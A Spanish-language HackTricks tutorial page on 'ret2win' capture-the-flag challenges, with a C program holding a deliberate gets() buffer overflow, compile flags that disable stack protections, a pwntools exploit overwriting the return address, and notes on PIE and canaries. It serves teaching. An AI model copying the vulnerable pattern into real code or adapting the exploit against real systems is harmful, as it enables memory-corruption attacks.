# Ret2win
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 馃挰 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## Informaci贸n B谩sica
Los desaf铆os de **Ret2win** son una categor铆a popular en las competiciones de **Capture The Flag (CTF)**, particularmente en tareas que involucran **binary exploitation**. El objetivo es explotar una vulnerabilidad en un binario dado para ejecutar una funci贸n espec铆fica, no invocada, dentro del binario, a menudo llamada algo como `win`, `flag`, etc. Esta funci贸n, cuando se ejecuta, generalmente imprime una bandera o un mensaje de 茅xito. El desaf铆o t铆picamente implica sobrescribir la **direcci贸n de retorno** en la pila para desviar el flujo de ejecuci贸n a la funci贸n deseada. Aqu铆 hay una explicaci贸n m谩s detallada con ejemplos:
### Ejemplo en C
Considera un programa simple en C con una vulnerabilidad y una funci贸n `win` que pretendemos llamar:
```c
#include
#include
void win() {
printf("Congratulations! You've called the win function.\n");
}
void vulnerable_function() {
char buf[64];
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
}
int main() {
vulnerable_function();
return 0;
}
```
Para compilar este programa sin protecciones de pila y con **ASLR** deshabilitado, puedes usar el siguiente comando:
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-m32`: Compila el programa como un binario de 32 bits (esto es opcional pero com煤n en desaf铆os CTF).
* `-fno-stack-protector`: Desactiva las protecciones contra desbordamientos de pila.
* `-z execstack`: Permite la ejecuci贸n de c贸digo en la pila.
* `-no-pie`: Desactiva el ejecutable independiente de la posici贸n para asegurar que la direcci贸n de la funci贸n `win` no cambie.
* `-o vulnerable`: Nombra el archivo de salida `vulnerable`.
### Python Exploit usando Pwntools
Para el exploit, utilizaremos **pwntools**, un poderoso marco CTF para escribir exploits. El script de exploit crear谩 una carga 煤til para desbordar el b煤fer y sobrescribir la direcci贸n de retorno con la direcci贸n de la funci贸n `win`.
```python
from pwn import *
# Set up the process and context for the binary
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
# Find the address of the win function
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
# Create the payload
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
payload = b'A' * 68 + win_addr
# Send the payload
p.sendline(payload)
p.interactive()
```
Para encontrar la direcci贸n de la funci贸n `win`, puedes usar **gdb**, **objdump** o cualquier otra herramienta que te permita inspeccionar archivos binarios. Por ejemplo, con `objdump`, podr铆as usar:
```sh
objdump -d vulnerable | grep win
```
Este comando te mostrar谩 el ensamblaje de la funci贸n `win`, incluyendo su direcci贸n de inicio.
El script de Python env铆a un mensaje cuidadosamente elaborado que, al ser procesado por la `vulnerable_function`, desborda el b煤fer y sobrescribe la direcci贸n de retorno en la pila con la direcci贸n de `win`. Cuando `vulnerable_function` retorna, en lugar de regresar a `main` o salir, salta a `win`, y el mensaje se imprime.
## Protecciones
* [**PIE**](../../common-binary-protections-and-bypasses/pie/) **debe estar deshabilitado** para que la direcci贸n sea confiable a trav茅s de ejecuciones o la direcci贸n donde se almacenar谩 la funci贸n no siempre ser谩 la misma y necesitar铆as alguna leak para averiguar d贸nde se carga la funci贸n win. En algunos casos, cuando la funci贸n que causa el desbordamiento es `read` o similar, puedes hacer un **Partial Overwrite** de 1 o 2 bytes para cambiar la direcci贸n de retorno a la funci贸n win. Debido a c贸mo funciona ASLR, los 煤ltimos tres nibble hexadecimales no est谩n aleatorizados, por lo que hay una **1/16 de probabilidad** (1 nibble) de obtener la direcci贸n de retorno correcta.
* [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) tambi茅n deben estar deshabilitados o la direcci贸n de retorno EIP comprometida nunca ser谩 seguida.
## Otros ejemplos y Referencias
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
* 32 bits, sin ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html)
* 64 bits con ASLR, con una leak de la direcci贸n binaria
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
* 64 bits, sin ASLR
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
* 32 bits, sin ASLR, doble peque帽o desbordamiento, primero para desbordar la pila y aumentar el tama帽o del segundo desbordamiento
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
* 32 bits, relro, sin canario, nx, sin pie, cadena de formato para sobrescribir la direcci贸n `fflush` con la funci贸n win (ret2win)
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html)
* 32 bits, nx, nada m谩s, sobrescritura parcial de EIP (1Byte) para llamar a la funci贸n win
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html)
* 32 bits, nx, nada m谩s, sobrescritura parcial de EIP (1Byte) para llamar a la funci贸n win
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
* El programa solo est谩 validando el 煤ltimo byte de un n煤mero para verificar el tama帽o de la entrada, por lo tanto, es posible agregar cualquier tama帽o siempre que el 煤ltimo byte est茅 dentro del rango permitido. Luego, la entrada crea un desbordamiento de b煤fer explotado con un ret2win.
* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
* 64 bits, relro, sin canario, nx, pie. Sobrescritura parcial para llamar a la funci贸n win (ret2win)
* [https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/](https://8ksec.io/arm64-reversing-and-exploitation-part-3-a-simple-rop-chain/)
* arm64, PIE, da una leak de PIE, la funci贸n win es en realidad 2 funciones, por lo que gadget ROP que llama a 2 funciones
* [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/)
* ARM64, off-by-one para llamar a una funci贸n win
## Ejemplo ARM64
{% content-ref url="ret2win-arm64.md" %}
[ret2win-arm64.md](ret2win-arm64.md)
{% endcontent-ref %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Apoya a HackTricks
* Revisa los [**planes de suscripci贸n**](https://github.com/sponsors/carlospolop)!
* **脷nete al** 馃挰 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **s铆guenos** en **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
{% endhint %}